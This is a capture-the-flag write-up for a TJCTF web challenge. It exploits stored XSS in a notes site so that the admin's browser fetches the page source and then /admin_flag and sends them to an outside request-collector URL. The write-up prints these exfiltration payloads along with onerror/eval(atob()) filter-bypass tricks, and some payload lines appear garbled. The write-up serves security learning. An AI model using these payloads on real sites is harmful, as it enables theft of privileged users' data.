A CSRF is operated through an XSS. In this case we rely on a TJCTF challenge but it is applicable in many areas. This kind of attacks show the danger that XSS have as we saw in the post from WordPress 5.1 CSRF + XSS + RCE – Poc where even RCE was achieved.
Statement
See if you can get the flag from the admin at this website!
Hint: The admin can see something you can’t. Check the page source.
The site url is provided: TJCTF
Solution
Solution
The first thing we review are the functionalities offered by the web and which of them may be interesting. Access requires a user so we register and log in with our new account.
We quickly find a functionality that allows us to publish a note.
In addition, once published, we see that there is the functionality to report it to the administrator. We understand in this way that the administrator will visit this note. He can begin to give us an idea of how to proceed.
Researching the form that allows us to upload notes we discovered a simple XSS that allows us to include anything, literally. Looks like it’s going to be easy!
<script>confirm()</script>
When entering the note we find that the website includes the full javascript code showing the alert.
Using the statement provided at the beginning, we access the source code of any note. This way we discover where is what actually we can’t see but an administrator can.
We try to make an exfiltration of the source code that the administrator will see when accessing any published note. To do this we take advantage of the XSS vulnerability so that the administrator, by means of a request to a publication and another to a server in our control, sends us the source code. You can deploy any server that simply shows the data received, in this case we use a web that provides this service without having to make any deployment Requestbin.
The code we use for this exfiltration is composed of two requests with XMLRequest. You could also collect the content of the page itself directly with document.innerHTML, there are several methods. The data captured by the administrator will be base64 encoded to avoid problems with symbols and spaces when forming the exfiltration request.
<script> var xhr=new XMLHttpRequest(); xhr.open("GET", "/posts/95FBO9f1z93CmMsV", false); xhr.send(); var xhr2=new XMLHttpRequest(); xhr2.open("GET", "https://enz4mb8p5wqqf.x.pipedream.net/?source=" + btoa(xhr.responseText), false); xhr2.send(); </script>
Once we’ve uploaded the note we’ll see that we’ve run the javascript injection ourselves and sent data to the server. We’re not interested in this. We’ll have to press the button to report our note to the administrator so that they can visit our note with the injection. Once the button is pressed we receive the request in our Requestbin interface.
The data we have received is base64 encoded so we will have to pass it on to a normal text file.
This way we get a file with the source code of the page that the administrator visited.
Analyzing the content, the button to obtain the flag calls our attention. This button calls the function f(), in which we see a request get a admin_flag. If we try to access manually it obviously indicates that we must be administrators. The idea is clear. We need to get the administrator to visit the admin_flag page and return the result. Simple, in the same way that we have obtained the source code of a note we can obtain the one of the flag. We then prepare the same payload for the note.
<script> var xhr=new XMLHttpRequest(); xhr.open("GET", "/admin_flag", false); xhr.send(); var xhr2=new XMLHttpRequest(); xhr2.open("GET", "https://enz4mb8p5wqqf.x.pipedream.net/?source=" + btoa(xhr.responseText), false); xhr2.send(); </script>
As with the previous exfiltration, when we upload the note we will execute the javascript code ourselves, but the interesting thing is that we get it by clicking on the report to the administrator button. The administrator will immediately execute the javascript code and we will receive the data.
As before we must undo the base64 encoding to reveal the content.
Wow, it wasn’t going to be that easy. The administrator should do some checking on the page of the note he is visiting so that we don’t steal the flag with our injection.
The first problem we have is the script tags. The simplest and most typical way to skip this kind of check is to use the onerror event available for images. So we add an image tag in which we will check a simple XSS.
<img src=ironhackers.png/>
We observe that by sending this injection it actually works.
Another problem we have is quotes and parentheses. As we can write inside the html tags we can use the HTML encoding to introduce inside the onerror attribute a payload with parenthesis and quotes. We see an example with a simple XSS payload. Using the Burpsuite encoder we generate the payload.
We now move on to include it in a note and see that the execution does indeed take place.
<img src=ironhackers.png onerror=confirm(1)/>
The next problem we have is how to execute a complex payload like the one that makes the exfiltration requests. We can’t include the full payload because it requires spaces and that would imply using quotes around the onerror event. As a possible solution, which I’m sure there are more, we decided to use the eval function and the atob function to undo base64. This way we can generate a base64 payload that we will save in another attribute, and have it retrieved, decoded and executed. The combination of all this is done in the following steps. First we generate the base64 payload
Now we generate the payload of the onerror event encoded in HTML encode.
Once we have the parts we build an image with the payload in base64 in the id attribute and the payload in HTML encode in the onerror event
<img src=ironhackers.png onerror=e val(atob(this.id)) />
Once we have achieved the payload we perform the same process as in previous executions reporting the note for the administrator to visit. Once he comes in he will execute our code and we will receive the data in the interface of Requestbin.
Finally we decode base64 obtaining the flag.
Leave a Reply